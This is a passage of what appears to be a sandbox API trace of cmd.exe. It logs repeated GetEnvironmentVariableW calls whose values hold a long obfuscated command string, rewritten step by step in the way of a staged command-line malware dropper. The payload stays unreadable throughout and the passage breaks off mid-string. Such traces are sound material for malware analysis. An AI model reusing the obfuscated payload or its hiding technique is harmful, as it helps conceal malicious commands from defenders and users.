lpBuffer="seGC7ygYgYsvTd]F3pbfaK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfNamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3pbfbfk7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3pbfbfk7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7yaKF3pbfbfk7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI7axd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H2iy+F3pbfbfk7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn bf)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#bf))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3pbfaRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3pbfPjQIwL7yjUaXmuQIanjU.IqF3pbfN7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbfaTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]a7yjUa%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x786 [0102.221] GetConsoleTitleW (in: lpConsoleTitle=0x12ef50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.222] wcsncmp (_String1="`-$", _String2="/", _MaxCount=0x4) returned 49 [0102.223] GetEnvironmentVariableW (in: lpName="`-$", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3p6aK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3p6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3p6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3p66k7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3p6NeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3p66k7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3p6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3p66k7yuuQI'+'GC7y'+'GC7yaKF3p66k7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3p66k7yuuQI7axd'+'F3p6'+'6k7yuuQI_'+')[F3p66k7yuuQImQI'+'{F3p66k7yuuQI'+'_:H2iy+F3p66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3p66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1F3p66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3p66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3p6aRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3p6PjQIwL7yjUaXmuQIanjU.IqF3p6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3p6N7y8 s3Td]7y).F3p6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3p6NZqF3p6N%wL]a7yjUa%IgYgY-qF3p6NX3pPjgY-4ZqF3p6NgY%zwLhI3737engY-e7e,v%IPjqF3p6Nk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3p6N37gYgYgYgYgY^^^^^^^&1gY@eqF3p6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x759 [0102.225] GetConsoleTitleW (in: lpConsoleTitle=0x12f100, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.241] wcsncmp (_String1="[$@+", _String2="/", _MaxCount=0x4) returned 44 [0102.244] GetEnvironmentVariableW (in: lpName="[$@+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3p6aK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3p6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI93p`'+'qF3p6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3p66k7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3p6NeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3p66k7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3p6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3p66k7yuuQI'+'GC7y'+'GC7yaKF3p66k7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3p66k7yuuQI7axd'+'F3p6'+'6k7yuuQI_'+')[F3p66k7yuuQImQI'+'{F3p66k7yuuQI'+'_:H2iy+F3p66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3p66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1F3p66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3p66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3p6aRIA3QI93pe8 e:XbGC7y).7yaTdvwL.InF3p6PjQIwL7yjUaXmuQIanjU.IqF3p6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3p6N7y8 s3Td]7y).F3p6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3p6NZqF3p6N%wL]a7yjUa%IgYgY-qF3p6NX3pPjgY-4ZqF3p6NgY%zwLhI3737engY-e7e,v%IPjqF3p6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQIAqF3p6N37gYgYgYgYgY^^^^^^^&1gY@eqF3p6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x74a [0102.244] GetConsoleTitleW (in: lpConsoleTitle=0x12f0d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.245] wcsncmp (_String1="@-", _String2="/", _MaxCount=0x4) returned 17 [0102.248] GetEnvironmentVariableW (in: lpName="@-", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zwLhwLTdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zwLh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.awLe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_:H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7yla7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7yla7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYFl6aRIA3QI9le8 e:XbGC7y).7yaTdvwL.InFl6PjQIwL7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywLlTdgYgY-nXqFl6NZqFl6N%wL]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zwLhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x719 [0102.248] GetConsoleTitleW (in: lpConsoleTitle=0x12efe0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.248] wcsncmp (_String1="~`*?", _String2="/", _MaxCount=0x4) returned 79 [0102.259] GetEnvironmentVariableW (in: lpName="~`*?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zwLhwLTdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zwLh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.awLe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7yla7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7yla7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYFl6aRIA3QI9le8 e*XbGC7y).7yaTdvwL.InFl6PjQIwL7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywLlTdgYgY-nXqFl6NZqFl6N%wL]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zwLhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x719 [0102.259] GetConsoleTitleW (in: lpConsoleTitle=0x12ef50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.259] wcsncmp (_String1="#", _String2="/", _MaxCount=0x4) returned -12 [0102.261] GetEnvironmentVariableW (in: lpName="#;", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8 8 zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aEgY-3QI9an37gYjUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn 6)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^&gYse%gYgYajUI/`aKE,%zEhPjgY1gZgYFl6aRIA3QI9le8 e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4ERsheZ7yElTdgYgY-nXqFl6NZqFl6N%E]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zEhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzEhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7EgYgYgY,g,gYoa37Z/Tgo") returned 0x6f5 [0102.261] GetConsoleTitleW (in: lpConsoleTitle=0x12eec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.261] wcsncmp (_String1="*{[", _String2="/", _MaxCount=0x4) returned -5 [0102.265] GetEnvironmentVariableW (in: lpName="*{[", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys80,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7gYZn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8080zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aEgY-3QI9an37gYjUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8080Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^&gYse%gYgYajUI/`aKE,%zEhPjgY1gZgYFl6aRIA3QI9le80e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y80s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4ERsheZ7yElTdgYgY-nXqFl6NZqFl6N%E]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zEhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzEhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y807yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7EgYgYgY,g,gYoa37Z/Tgo") returned 0x6f5 [0102.266] GetConsoleTitleW (in: lpConsoleTitle=0x12ef20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.266] wcsncmp (_String1="@#?.", _String2="/", _MaxCount=0x4) returned 17 [0102.269] GetEnvironmentVariableW (in: lpName="@#?.", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys80,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8080zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 jUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8080Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^& se% ajUI/`aKE,%zEhPj 1gZ 